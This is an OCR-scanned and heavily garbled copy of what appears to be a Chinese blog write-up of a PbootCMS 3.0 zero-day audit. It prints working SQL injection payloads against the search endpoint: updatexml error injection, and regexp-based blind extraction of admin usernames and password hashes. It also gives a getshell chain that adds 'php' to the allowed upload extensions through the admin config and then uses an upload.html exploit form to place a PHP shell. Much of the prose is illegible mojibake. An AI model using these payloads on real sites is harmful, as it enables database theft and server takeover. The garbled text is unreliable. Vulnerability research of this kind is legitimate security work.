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10—/ RGN E])

NFiZ—" 0day - ©2%, ©2HZFA

WWE—RERRESENINIERBE] 7 XF—TINE, JTaXpia— fuzz, in0—8EiE

=B R4 PN BRI,

===

AU

][

WWE—RERRASENEIRFIBE T XFE—TIME, Fexdpia—il fuzz, kO—@EEDH2E &M ARRBER
i, MIEIZE—" xss 4TI, B2 xss W RBIZHEE], SEEMTE—MERMEBRTN, RALTIZERE T —ME
FUEEE, get Bl TREFRVIELL,

X Headers Preview Response »
TONTENTENCoaIng . Bip

Content-Length: 3611

Content-Type: text/html; charset=utf-8
Date: Tue, 84 Aug 2020 B6:46:00 GMT
Server: Apache

Upgrade: h2

g
X-Powere: d-By: Pbootcms

X-UA-Compatible: IE=edge,chrome=1

¥ Request Headers

Arrent® tawtfhtml _annliration/vhtmliyml  an

Pbootcms E—EMRMIARS, AEBEE T MZEFMMELROBEHT T, RIWABRWT, BULMIZERFTT
RENTHFRA, BN T W ELBLERORESRES 7. BB EEE, BEERBEEELLAEMN NE—10IRE3
[El5e BTN,

TRRSE T
1. EUIEZREY

BIIXNRERRABNEEAIIZIEFTEE T B CIOBIEIREBI FRE: get(),post(),request() &, JREURFZAT: FB
post() BREZEBIIEBE: post(fname’, vars’),

~r
function post($name, $type = null, $require = false, $vartext = null, $default = null)
4
$condition = array(
'd_source' => 'post’',
'd_type' => $type,
'd_require' => $require,
$name => $vartext,
'd_default' => $default

)3

return filter($name, $condition);

I DABEPFBANRIE ANRVEIEBR REANR] T filter BREH:
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£ filter X

E2S, TR

k

AN, BEFENERE

IRt escape_string X

Arp, SXEREBRIE T

b=

=751

446

448
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case 'letter':

if (! preg_match( pattern: ' /a[a-zA-Z]1+$/', $data)) {...}

break;
case 'var':

if (! preg_match( pattern: ' /A[\w\-\.1+$/', $data)) {...}

break;

case 'bool':...

case 'date':
if (! strtotime($data)) {...}
break;

case ‘'array':
if (! is_array($data)) {...}
break;

case 'object':
if (! is_object($data)) {...}
break;

case 'vars':

a1

if (! preg_match( pattern: ' /A[\x{4e00}-\x{9fa5} \w\-\., \s]+$/u"

$err = 'HEE@EdI. FEL B BE. AL ES. TR

, $data))|{

g
break;

[/l GrERER

unset($err);

Yy Azl

—ZRIUBRIR, BIAIF X ER) vars, MRBEEEFY, FE, #HF, K,
. (PS: HNAEERBES "(), PALA sql FEAPHIR
BB, REBREEWXMANER) FERATERETLES

WS INEER, BMSET AR
o7,

return Escape_string($data);

2

[/l HIREER S, LFFFird. HA. o5
function escape_string($string)
4
if (! $string)
return $string;
if (dis_array($string)) { // faios
foreach ($string as $key => $value) {
$string[$key] = escape_string($value);
¥
} elseif (is_object($string)) { // w547
foreach ($string as $key => $value) {
$string->$key = escape_string($value);

b

Y alea { // i shp
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J SAIT L S

$string = htmispecialchars(trim($string), flags: ENT_QUOTES, encoding: 'UTF-8');
$string = addslashes($string);

F

return $string;

NEAEAEHTT T htmispecialchars, addslashes SWAME,

SHERBURAZ B PR :

=K BhFErEget (), post (), request()
post('name’,'vars')J{ABESAEHE

ﬂ SRR RE

filter($name, $condition);

E

Heeah, T8, 7.

Ar—1 o
n‘ﬁ &Y 1@%\ E*ﬁ- !

|

htmispecialchars, addslashes

MNP ZIZFNRIRRECEE TP TR, FENRIEREEZET post(),get(),request() = AKBHTF R EESE
e,

2. ENZHR

ARITRI T RIEFFAER SR MR

return parent::table( table: 'ay_content a')->field($fields)
->where($scode_arr, inConnect: 'QR")
->where($where)
->where($select, inConnect: "AND', outConnect: "AND', $fuzzy)
->where($filter, inConnect: 'OR')
->where($tags, inConnect: 'QR')
->join($join)
->order($order)
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->page( args: 1, $num, $start)
->decode()
->select();

XEBAGE T T DB EERIAAI where 757E L, ABUTH:

if (is_array($where)) {
$where_string = ''; ¢ e
$flag = false;
foreach ($where as $key => $value) {

if ($flag) § // RA-Z/HFANDELE
$where_string .= ' ' . $inConnect . ' ';
} else {

$flag = true;

b

if (! is_int($key)) {
if ($fuzzy) {

$where_string .= $key . " like '%" . $value . "%' ";
} else {
$where_string .= $key . "='" . $valve . "' ";
}
Y else { » -
$where_string .= $value; HMBEIRR
}
}
$this->sql['where'] .= $where_string . ')';
} else {

$this->sql['where'] .= $where . ')';
;

NRULIENR Swhere TEZ—TERSIHAH, BAMTHNLERIDXE, HWEHITHHE,

BRtBEn<fE, AR A TR R E R 1

Find in Path 70 matches in 1 file

Q- ey

In Project Module Directory Scope E\phpstudy_pro\WWW\cms\Pboot

$where1 = array();

$where1[] = $filter[0] . " like '%" . escape_string($value) . "%'";
$where1[] = $filter[0] . "="" . escape string($value) . "";
$where?2 = array();

$where2[] = "a.tags like '%" . escape string($value) . "%'";
$where?2[] = "a.tags="". escape string($value) . "'";

$where3 = array();
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o8l here

: In Project Module Directory Scope E\y
$where3[] = "a.ico<>"";
$where3[] = "a.ico="";

¢ $where3[] = "a.istop=1";

$where3[] = "a.istop=0";

$where3[] = "a.isrecommend=1";

| $where3[] = "a.isrecommend=0";

| $where3[] = "a.isheadline=1":

—ERRTHRRY, EAIEARE, ERMUEZEY escape_string L, HABERSISERIP,, KEITRIER,

/] TEEedE A FEFAre. A g
function escape_string($string)
{

if (! $string)

e return $5tring;|

if (is_array($string)) {...} elseif (is_object($string)) { //
foreach ($string as $key => $value) {...}

} else { // Firdiabs
$string = htmlspecialchars(trim($string), flags ENT_QUOTES, encoding: 'UTF-8');
$string = addslashes($string);

+

return $string;

F

3. IB[E1RY%

BT Z 0% where, select, update FxBFIEER, BEFRKEIRBETARKEENER, AEX =T
$CET,$POST FRATEIEN LR
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Find in Path 17 matches in 7 files

Q- \$_POSTN\$ GET

In Project Module Directory Scope EA\phpstudy pro\WWW\cms\PbootCMS-3.0.0\apps\home

T - - s o

b
A

$ GET['page’] = $param[2]; // =51
$ GET['page’] = $param[1]; // 55
$ GET['fcode’] = $path[1];

if ($_POST) {

foreach ($_GET as $key => $value) {
if (5_POST) {

$receive = $§ POST;

$receive = § GET;

$ GET

$ GET['tag'] = RVAR;

£ appshomecontrollerParserController.php X4 parserSearchLabel 535 &M 7 o)g: BTZ5 A IBRK,
FRBANEIE T X #E D .

'y
rr

if ($_posT) { ¢censoOogee
$receive = $_POST;
} else {]
$receive = $_GET;
}
foreach ($receive as_$key => $value) { ISRV ISHR R 7 B R
if (1 ! $value =| request($key, type ‘var5'))|{
if ($key == "Title') {
$key = 'a.title’';
}
if (preg_match( pattern: " /A[\w\-\.1+$/', $key)) { // &
$where3[$key] = $value;
}
}
}

PIUERIE BN 7 $_POST i, ARBRAMT $where BAMNRE, (XEXH) , TIXBERNEZWIE—T,
BENT, X1 ERE, CEFFRE, RATNEEFRANNERS A,
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int(1) string(1) "a

@' EApRpstudy pro\WWW\1.php - Notepad++

SHF) 9REE(E) FRES) MA(N) ®wiB(N) 551 wE(T) IEB
B & W9 C i ® %[0
new 3|-:!’. new 1|-:!’. new 4::!’. new 54 [=

1 H<?pip

2 ]|

3 [foreach (5 GET as 5k => 5v) |
4 var dump (5k) ;

5 var dump (5V) ;

]

7

2 int R, T2 ERA] LEFEK.

X B HHEIRX $where3 HUAEMNH, BEIFNE LIRS T, AT $key: REEE /NMw-]+8/ XLEAA, $value: R
BE2 /" x{4e00}—x{9fablw—. s+$/u XLER R,

Ee—pu St~ AV.CE

/! /
if ($page) {
if (isset($paging)) {
_4B4( string: il ASEASE DUl E T A A iR &, BarsE A0 Hipage=0M4 it *);
} else {
$paging = true;
$data = $this->model->getLists($scode, $num, $order, $wherel, $where2, S$where3, &1

+
} else {
$data = $this->model->getList($scode, $num, $order, $wherel, $where2, $where3, $fuzzy,

}

.ff /

XEM $page B true, FEAFIMER true, HETEFENEMWEIRER, BITVLMEEHE, FIMNXELESRNT
getLists 7%,

Getlists 77/AISEIR: UK, REE T XBHD.
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324
325
326
333
334
335
348
349
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368

/] I R
if ($ext_table) {...}

$scode_arr = array();

if ($scode) {...}
$where = array(]-..);

[/ TEEF VLA

return parent::table( table: 'ay_content a')->field($fields)
->where($scode_arr, inConnect: 'OR')

—ntreretiuwteres

->where($select, inConnect: 'AND', outConnect: 'AND', $fuzzy)

->Where($f1ilter, nLonnectt "OR")

->where($tags, inConnect: 'OR')

->join($join)
->order($order)

->page( args: 1, $num, $start)
->decode()

->select();

I = S B e A e IV E b e A I R

PRINEVREEAIEIERY Swhere3 R ZIEE] T where 757AEH.,

HERIT T page AE:

[ S fyp I 74k g s B (T b g T Gk G Ak T

if (isset($t-h.is—>s.t-11['pag-ing']) && $this->sql['paging']) { ERIEREN T

if ($this->sqll'group'] || $this->sall'distinct']) q // #rfésis 4iffcount (%)
if (get_db_type() == 'mysql') {...} else {...}

H else {

[/ E i

$count_sql = $this->buildSql($this->countSql, clear: false);

var_dump ($count_sql);

S BRI BARITEXE,
if (! ! $rs = $this->getDb()->one($count_sql)) {
—$totatT = $TS=>SUm;

Yk
$1imit = Paging::getInstance()->limit($total, morePageStr: true);

/] TR BB REH A

XEBIEE T s B

t, EE=RE,

SRIEHIT T =AR select ik,

https://www.anquanke.com/post/id/222849#h2-9

Sy R T 74k T K [ 45 T ST 4 T Lk

if (isset($t-h.is—>s.c-ﬂ.['pag-ing']) &&.$this->5q1['paging']) { ERIERENT

if ($this->sql['group'] || $this->sql['distinct']) § // ##2lfétis#ifcount (*)

if (get_db_type() == 'mysql') {...} else {...}
H etse {
/! LRI
Craunt enl = $thie-shuildenl (fthie-srnuntenl clearr falem):-
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WYUWWII . _ Py e — W MV MUY L W RITAD T UM RN T Mg

var_dump ($count_sql);

/! NN IESITRIXE,

if (! !.$E§ = $this->getDb()->one($count_sql)) {

$1imit = Paging::getInstance()->limit($total, morePageStr: true);
[/ R EEIFE T

H Y buildsgl HEME S SR Z BN BENE I ERFITHIZMTERN sl 156),

[/ HirSQLFic
private function buildSql($sql, $clear = true)
{

preg_match_all( pattern: ' /\%([\w]l+)\%/', $sal, &: $matches);
foreach ($matches[1] as $key => $value) {
if (isset($this->sql[$value]) && $this->sql[$value]) {
$sql = str_replace( search: "%$value%", $this->sql[$value], $sql);

F etlse {
if ($value == 'table') {
$sql = str_replace( search: "%$value%", $this->table, $sql);
} else {
$sql = str_replace( search: "%$value%", replace: '', $sql);
F
}

XEERFRABIE BT IURIF where,order,page 5 HAIRERRITHLT 7 &R PtHE, XEARNIANIBIE DTRIE
where 75759, MIREIBHERNZ—TRSIEAERE, BRBESISHRIPHN, FINEIIXEMEAZHA 7RI
&7 B3| SRR,

BRAZ BN NP

parserSearchLabel %]

getListsERZ]

wherepgz{

l

selectERzY

2R EAET T, MR T
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o O @ Load URL http://pbootems3.io/index.php?p=/search
/\ ",’,‘ Split URL
« Postdata Referer User Agent
HITSQLALEREIR! 12 Unknown column 'aaaaaaaa’ in 'where e

clause’, i&5f): SELECT COUNT(*) AS sum FROM ay content a LEFT
JOIN ay content sort b ON a.scode=b.scode LEFT JOIN
ay content sort ¢ ON a.subscode=c.scode LEFT JOIN ay model d O

1=aaaaaaaa

('5','6','7") OR a.subscode="5") AND(a.status=1
a.date<'2020-07-09 19:11:41") AND(aaaaaaaa

d.type=2 AND

PIDABEEIBA VMR agasaa BEMINHAR T sl IBOFERT, FEIENE BINBANETZ2E/NNES () BE
A,

H5 M request BYFRRENFOTIE, BAIFERMANOLIERERIEE T
case 'vars':
if (! preg_match( pattern: ' /a[\x{4e00}-\x{9fa5}\w\-\.,\s]+$/uv’', $data)) {]
$Err' = 'Hfitfudhr. FRE. Bee. Wi, AL ES. TR 'E

¥

break;

EAIREENENEMIIN, W

2 spiit URL
Execute
¢ Post data Referer User Agent
RTINS Clear All

1=1 and updatexml(1,concat(0x7e,user(),0x7e),1)
BRI EN

THEASE G FE—HRE, MBIRE T EENTE, EARNET/INES, EEERIINEEENSET .
4. L FEN

HAFA I S E where [5@E, where GEIED MUEFETWH, WE:

BXEZBER, HER $22.6.41 2 XNBE".

« ZWHERETA) (MIFR4EH) I‘E‘.‘»T\ﬂ‘éfﬁia‘iif?#ﬁ&%}ﬁiﬁﬁﬁﬂ—’hﬁ&;&ﬁ\ﬁﬁl where conditionE— AT |iﬁﬂ:ﬁiﬁ]§

ME—17, HiEAtrue, NP HwHERETH), ZEIGIRIZNETT.

frwsEREFRIAI(R, AILAEAMySQLSHHERIIGEMIZEM, BRE (BF) hEtksh, B2 R HE.5T RA M 512
B, HAANEET.

mey mam M ST R T 855 T St T iRl e L 8 Lnh4
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1 expr

2 expr OR expr

3 | expr || expr

4 | expr XOR expr

5 | expr AND expr

6 | expr && expr

7 | NOT expr

8 | 1 expr

9 | boolean_primary IS [NOT] {TRUE | FALSE | UNKNOWN}
10 | boolean_primary
11
12 boolean_primary:
13 boolean_primary 1S [NOT] NULL
14 | boolean_primary <=> predicate
15 | boolean primary comparison operator predicate
16 | lboolean_primary comparison_operator {ALL | ANY} (subqguery)
17 | Lpredicate
18
19 comparison_operator: = >= | > | <= | < | <> 1=
20

21 nradincrata:

PRMEANSG Y BN EET FEWR A IRETHRE, FAFEWEUMERRESH, -

@ Load URL

§ seiitURL

HATSQLESER! #8512 Table 'pbootcms3.admin’ doesn't exist, &
£J: SELECT COUNT(*) AS sum FROM ay content a LEFT JOIN

ay content sort b ON a.scode=b.scode LEFT JOIN ay content sort ¢
ON a.subscode=c.scode LEFT JOIN ay model d ON
b.mcode=d.mcode LEFT JOIN ay member group f ON a.gid=f.id LEFT
JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in
('5','6",'7") OR a.subscode="'5") AND(a.status=1 AND d.type=2 AND
a.date<'2020-07-10 11:05:47') AND(select xxx from admin where 1b

HAIRDEN payload FIRBMINE, MINHEART sql EEIRE, BE2ENNEERES, P substring, mid %

# Postdata

Clear All

1=select xxx from admin where 1

http:/ipbootcms3.io/index.php?p=/search

Referer User Agent

VTR EGED A RR(E A, MEBEXABEER =<> F—LERE, BAIREEDERETE XA T —No)@?

XERSIE EARFAE 73 sql BRI £, BRMBE T sql AT

https://www.anquanke.com/post/id/222849#h2-9
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—. sqlHATliE

(10) order by
(11) limit

PAEE where BIHIATETE select ZHIHY, BBXEBEAFAEIIR? W :

mysql> select 123;

w in set (0.00 sec)

> select 123 from ay_user |where 1=1;

w in set (0.00 sec)

mysql> select 123 from ay_user [where 1=2;
Empty set (0.00 sec)

2% (www.anquanke.com )

https://www.anquanke.com/post/id/222849#h2-9 12/20


https://p2.ssl.qhimg.com/t012e6498610ee3daed.png
https://p4.ssl.qhimg.com/t01fdeab10c2794f499.png

2021/11/9 FF11:01 B PR E T 45— 0day - %4 % . RERTPE

AIUERIEMEZ select — B2, WREEMN where FHEANKIL, LEASEWRIRIERN, IR0 AFIE where tb
select XL HEIE,

EARGEER =<> FHEER, PAINBIIMEBRE —THRERNEE, AEEANANGEER substr FEEVALY, PrAF
RINE— T TR EEEE, FUARERE)— A DUERA ) — P — TR RS 1,

HWEIRA regexp #5eEMNE, BEX regexp BEBERENTRIAL, HFH BBURERFR, ~ KRER T, AAFN
HFRERAINERA, FBHINAT:

1 row in 00 sec)

mysql> select from ay_user where username

.00 sec)

from ay_user where username

.00 sec)

elect 1 from ay_user where username
Empty set (0. sec)

#2E (www.anquanke.com )

BEANFZEZEWNFERE where £, 81T where IR[EIRIANE K12 select HKHIETE.

CERIBEA » BREF £, W "ad.*)

EABHEABEERSIS, PAUBNBERE S SANEUEHRTT 16 HFIRE, MRE—FRY,

27 select )IREIBIAZ, IXRAIRRUNT :

Sql EBH, FEWAHAT, FEARENRE SELECT IBYHHAIFEWNERLT where 1B6)H, FEEM T AND
EiE, 2R FERNER, FAINEERIERD so 1IBONER, B4R P AERERAFIBTEUE T .
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5. Z#EMiE payload

IEFRYTIE B -

_—a PBOOTCMS —

a5 Load URL hitp:/ipbootecmsd.iofindex.php?p=/search
. 4 seiit URL

| ») Execute

# Post data Referer User Agent
- Clear A
i 1=select 1 from ay_user where username regexp 0x61642e2a
. ad.*
(£ R=NC
-—
-

Puhzs(E] PIub IR AEARAR

PbootCMSEL /MR K AT PbootCMSE 2R kA H

SR EIIPHP Il RIS FF AR SRR SHEIPHP (b B8 FF AR ATLAE R E R
HIRRER, 2-ESd @5 EERR, E-ESE WS
=2 e
V ! i S
PN ==
7= BEE/\]BTEMJU \
x [ I l I {ackB
e Load URL http://pbootems3.iofindex.php?p=/search
R Spiit URL
Execute
# Postdata Referer User Agent Cookies

1=select 1 from ay user where username regexp 0x6164582e2a

adX.*

RO E LA

aect username from ay user;

1 row in set (0. 00

2= www.anquanke.com )

FFMIRIIEN payload £33 16 HFIRISA/EHANT, BERERLINEH eI AFIB A INEEZZD T, RLIXE
TR T SRR H Y,
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RARKREER =%, WEPMR:

b
if (! is_int($key)) {
if ($fuzzy) {
Model phpsfkehwheressik $where_string .= $key . like '%" . $value
F—5 } else {
SRR % $where_string .= $key . "='" . $valuve . "' %
}
}e i
l:ihere_string .= $value;
3
LY x
AV if ($_POST) { :
$receive = $_POST;
ParserController.php3Z{4 } else {
B4 | parserSearchLabel/5iA0] i e | ¥H $receive = $_GET;
EoE _EmEfwhere 75 ERVERBG SRR TR }
foreach ($receive as $key => $value) {
2 if (! ! $value = request($key, type: 'vars')) {
if ($key == 'title') {
$key = 'a.title';
3
if (preg_match( pattern: '/A[\w\-\.1+$/", $key)) {
( ] $where3[$key] = $value;
1f (preg_match( pattern: */~L\w\-\.]J+3/", $key)) 1
$where3[$key] = $value;
m=s BT FEIE, SidpostB)FEHE v
i HOETE RS I AR
case 'vars': :
if (! preg_match( pattern: ' /A[\x{4e00}-\x{9fas}\w\-\., 6 \s]+$/u', $data)) -
$err = QG A BE. MR, AL ES. PR
}
break:

MNEZERUEPRFA RS ENRRAIIAA, & NRFEHE payload BREJZIINE WL L2, ST KEM fuzz BRINSEIE

HRAKSEG:

https://www.anquanke.com/post/id/222849#h2-9

AR T IR RIMDS
01b6624: ‘ba06a8

md5(md5($pass))

dua: 70
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[E& Getshell

JRIEASE: corefunctionfile.php

/’,f 9 sl &
function handle_upload($file, $temp, $array_ext_allow, $max_width, $max_height, $watermark)
{7 wx i

$save_path = DOC_PATH . STATIC_DIR .J'/upload‘;

$file = explode( delimiter '.', $File): // #3 Ufl &4k

$file ext = strtolower(end( Saray: §file)); // (iwd i

if (! in_array($file_ext, $array_ext_allow)) {.l..}-

$image—=arT ﬂy{.. .),

$file = array(...);

if (in_array($file_ext, $image)) {...} elseif (in_array($file_ext, $file)) {...} else {...}

I/ BEE P R R

if (! check_dir( path: $save_path . '/' . $file_type . '/' . date( format 'ymd'), create: true)) {...}

file_path = $save_path . '/' . $file_type . '/' . date( format: '¥md') . '/' . time() . mt_rand(1BE0EE, 999999) . '.' . $file_ext;
if (! move_uploaded_file($temp, $file_path)) |{ // udipiss
TELOrn ' Pk ir e ir ATy 7
'
EZBAB/ERXET handle_upload REME =125, FHIEH handle_upload REAIHETT,
LY E 74
191 function upload($input_name, $file_ext = null, $max_width = null, $max_height = null, $watermark = false)
19: U/ KEHELIE
193 if (! isset($_FILES[$input_name])) { .} else {...}
o 1] i i fgb
199 if () $file_ext) {
208 $array_ext_allow = Config::get( item: 'upldad.format', array: true);
201 } else {
202 $array_ext_allow = explode( delimiter: ',', $file_ext);
203 }
204 J AHIEE ey 2=8¢, H AN 28, W1 Kol
05 if (! $watermark && get( name: ‘watermark', type: ‘int')) {...}
20¢ $array_save_file = array();
209 if (is_array($files['tmp_name'1)) {...} else { // 4 o/
if (! $fites['error']) {
225 | $upfile = handle_upload($files['name’'], $files['tmp_name'], hrrav_l:t_a'llod, $max_width, $ma:
226 if (strrpos($upfile, needle: '/') > B) {
227 $array_save_file[] = $upfile;
} else {
EERARERET upload RERIE Z1S%1, = upload REHEALL,
fih & 21 appshomecontrollerMemberController.php
395 [/ XfEEfE(ATax)
396 public function upload()
397 {
398 [/ 2
399 if (! session( name: 'pboot_uid')) {
400 json( code: @, data: 'iffGa! ');
401 | }
402 $ext =|$this->config( item: "home_upload_ext') |?: "jpg,jpeg,png,gif, xls, xlsx,doc,
403 $upload = upload( input name: 'upload', $ext);
404 if (is_array($upload)) {
405 json( code: 1, $upload);
406 } else {

PWEFIRH config F5i%.

https://www.anquanke.com/post/id/222849#h2-9
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[/ EEDRE S
public static function get($item = null, $array = false)
{

/! HzIEANE X

if (! isset(self::$configs)) {
self::$configs = self::loadConfig();

}

/] Bl E

if ($item === null) {...}

$items = explode( delimiter: '.', $item);

if (isset(self::$configs[$items[@]])) {...} else ﬂ
return null;

¥

$items_len = count($items);

for ($1i = 1; $1 < $items_len; $i ++) {...}

[/ R B A T

if ($array && ! is_array($value)) {...}

return $value;

Config AZM @ REINIWEEED, BLBEINAS B self:loadconfig() HOZE,

/] HAHE
private static function loadConfig()
{

L

[/ HAFGHEY

if (file_exists( filename: RUN_PATH . '/config/' . md5( st 'config') . '.php')) {
$config = require RUN_PATH . '/config/' . md5( str 'config') . '.php';
$configs = mult_array_merge($configs, $config);

].

[ AR E

if (file_exists( filename: RUN_PATH . '/config/' . ma5( st 'area') . '.php')) {...}
[/ EREEMIX, AL B L BB Om A B

@ob_clean();
return $configsd

f] BIE VAT A

Ao EINAY—E80 R E T md5(config).php XA, REBEFA R 7 XA home_upload_ext &I, LIRS T 7
FHENESARET,

1B ECE RIS

https://www.anquanke.com/post/id/222849#h2-9
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XA appsadmincontrollersystemConfigController.php

[/ WA E S

¢
public function index()

{
if (! ! $action =
/] BAZHE
if ($_POST) A
unset($_POST['upload']); // Lk [1£401F
fnreach_ﬁ$_PUST as $key => $value) [

if (! preg_match( pattern: '/A[\w\-]+$/', $key)) {
continue;

get( name: 'action')) {...}

}

$config = array(...);

if (in_array($key, $config)) {

if ($key == 'tpl_html_cache_time' && ! $valuve) {...} else {...
$this->modConfig($key, $value);

I; {
‘ $this->modDbConfig($key);
}.
].

$this->1log( content: 'fE%Z¥E &I ');
path_delete( path: RUN_PATH .

‘feonfig'); // JFEEELAHIE LI
& $_POST 1&[h HRpsEEEH 7 $this—>moddbconfig 757%.

Al e NS T T T B
ol i Pl i T 0 o gl U =5
j/ rE= LY w3y A £

= =i

private function modDbConfig($key)

{.
-\

/! EH s E

$data = array(
'name' => $Kkey,
'value' => §ualue,
‘type' => 2,
'sorting' => 255,

'description' => "'

return $this->model->addConfig($data);

https://www.anquanke.com/post/id/222849#h2-9
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//

{

RFZERRNENNEENS EHT ay_config #IEERPZE, REHRFLIERTHNES AF] mds(config).php X

- -".'_.'..'..." ' Pl |.-'|,-' .

return parent::table( table: 'ay_config')->insert($data);

B UARAMA B F42 —M0day - &%, REFIVTR

P = — R -

freR, SRFA TR UM O R B [ 85t

Getshell

public function hddtunfig[array $data)

BREE —> 2REE —> KEES — 2R, (/8 burp e,

£ POST #UBRARII—: home_upload_ext=php FEZBENF],

RINHES A

dn]
H

R
\|

https://www.anquanke.com/post/id/222849#h2-9

Q 2EiE

= RESH

IpgLe

RIS

(]

rewrite
runtime
cache
complile
config
sue 4b82677b6c1408df4be2 1ada9a584
e 2245023265ae4¢i87d02c8b6ba9911
session
static
backup
images
upload

BEEUSF.  EMEL T HERIE SRR

SMFEME 5
MESEHRRE | ISR SCEREE R, B3R
PSS  SRARETENXEEE, B892

Request

m Params | Headers | Hex |

| POST ladmin php?p=/Confighndex HTTRI1.1
Host

Hm_ht %

Hen, ot 1ot PRI T4 s 15
PhootSystem

Connection close

formche
_domair=&tpl
1 &pagenum=: s
=&submit=basic &homa_upload_a:

'url_rule_type' => '3',
'message_status' => '1',
"form_status' => '1',
"tpl_html_dir' => "hitml',
'ip_deny' => '',
"ip_allow' => "',
@' close_site' => '0',
'close_site_note' => '',|
'lgautosw' => '1',

'home_upload_ext' => 'php',

© 9 Ee .
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REW T AN EEBERREE, FIRA DU % php 1A% getshell 7,

FESHF exp: upload.html

<!DOCTYPE htmli>

<html lang="en">

<head>
<meta charset="UTF-8">
<title>pbootcms~ F & </title>

</head>

<body>

<form action="http://xxxxx/?member/upload" method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" name="mufile">

<[form>

</body>

</html>

1§ exp RIFE] html 32, BRXSNAVER B ERIR], U EEIER,

{"code":1,"data":["\/static\/upload\/other\/20200804\/1596530511644122.php"],"tourl":"","rowtotal":1}

FEARMRORIZINGE 7 —iBfa, FAEIRE WIS BRI, B3 getshell 7, AINRZE, XAILAVRIRAGIEIKE R
7.

EPOMEMMIGEREEREN, ARLEREET, EEITIRPEERSE TRENE, E2EIaRITHAORIK,
MESESREANLEE, SN—EINRVENE, Rirsineis, AREE—F—20lE, KT 2B IET,
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